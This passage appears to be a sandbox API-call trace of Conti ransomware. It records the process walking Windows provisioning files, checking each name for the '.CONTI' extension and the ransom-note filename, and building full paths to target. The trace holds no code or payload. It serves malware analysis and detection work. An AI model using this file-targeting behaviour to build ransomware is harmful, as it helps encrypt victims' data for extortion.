	[0109.668] StrStrIW (lpFirst="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.668] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.668] lstrlenW (lpString="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.668] GetProcessHeap () returned 0x1720000
	[0109.668] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb430
	[0109.668] lstrcpyW (in: lpString1=0x65bb430, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.668] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.668] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.668] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="588__C~1.PRO")) returned 1
	[0109.668] lstrcmpiW (lpString1="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.668] lstrcmpiW (lpString1="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.668] StrStrIW (lpFirst="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.669] StrStrIW (lpFirst="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.669] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.669] lstrlenW (lpString="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.669] GetProcessHeap () returned 0x1720000
	[0109.669] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb058
	[0109.669] lstrcpyW (in: lpString1=0x65bb058, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.669] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.669] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.669] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="589__C~1.PRO")) returned 1
	[0109.669] lstrcmpiW (lpString1="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.669] lstrcmpiW (lpString1="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.669] StrStrIW (lpFirst="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.669] StrStrIW (lpFirst="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.669] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.669] lstrlenW (lpString="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.669] GetProcessHeap () returned 0x1720000
	[0109.669] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb1a0
	[0109.669] lstrcpyW (in: lpString1=0x65bb1a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.669] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.669] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.669] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902e08bf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902e08bf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902e08bf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="58__CO~1.PRO")) returned 1
	[0109.669] lstrcmpiW (lpString1="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.669] lstrcmpiW (lpString1="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.669] StrStrIW (lpFirst="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.669] StrStrIW (lpFirst="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.670] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.670] lstrlenW (lpString="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.670] GetProcessHeap () returned 0x1720000
	[0109.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65ba8a8
	[0109.670] lstrcpyW (in: lpString1=0x65ba8a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml"
	[0109.670] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="590__C~1.PRO")) returned 1
	[0109.671] lstrcmpiW (lpString1="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.671] lstrcmpiW (lpString1="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.671] StrStrIW (lpFirst="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.671] StrStrIW (lpFirst="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.672] lstrlenW (lpString="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.672] GetProcessHeap () returned 0x1720000
	[0109.672] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bac80
	[0109.672] lstrcpyW (in: lpString1=0x65bac80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.672] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.672] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.672] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9155b4d3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9155b4d3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9155b4d3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="591__C~1.PRO")) returned 1
	[0109.672] lstrcmpiW (lpString1="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.672] lstrcmpiW (lpString1="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.672] StrStrIW (lpFirst="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.672] StrStrIW (lpFirst="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.672] lstrlenW (lpString="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.672] GetProcessHeap () returned 0x1720000
	[0109.672] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bbbe0
	[0109.672] lstrcpyW (in: lpString1=0x65bbbe0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.672] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.672] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.672] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9155b4d3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9155b4d3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9155b4d3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="592__C~1.PRO")) returned 1
	[0109.672] lstrcmpiW (lpString1="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.672] lstrcmpiW (lpString1="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.672] StrStrIW (lpFirst="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.672] StrStrIW (lpFirst="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.672] lstrlenW (lpString="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.672] GetProcessHeap () returned 0x1720000
	[0109.672] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bc100
	[0109.672] lstrcpyW (in: lpString1=0x65bc100, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.672] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.672] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.673] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9155b4d3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9155b4d3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9155b4d3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="593__C~1.PRO")) returned 1
	[0109.673] lstrcmpiW (lpString1="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.673] lstrcmpiW (lpString1="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.673] StrStrIW (lpFirst="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.673] StrStrIW (lpFirst="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.673] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.673] lstrlenW (lpString="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.673] GetProcessHeap () returned 0x1720000
	[0109.673] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bc390
	[0109.673] lstrcpyW (in: lpString1=0x65bc390, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.673] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.673] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.673] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="594__C~1.PRO")) returned 1
	[0109.673] lstrcmpiW (lpString1="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.673] lstrcmpiW (lpString1="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.673] StrStrIW (lpFirst="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.673] StrStrIW (lpFirst="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.673] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.673] lstrlenW (lpString="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.673] GetProcessHeap () returned 0x1720000
	[0109.673] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65bb808
	[0109.673] lstrcpyW (in: lpString1=0x65bb808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.673] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.673] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
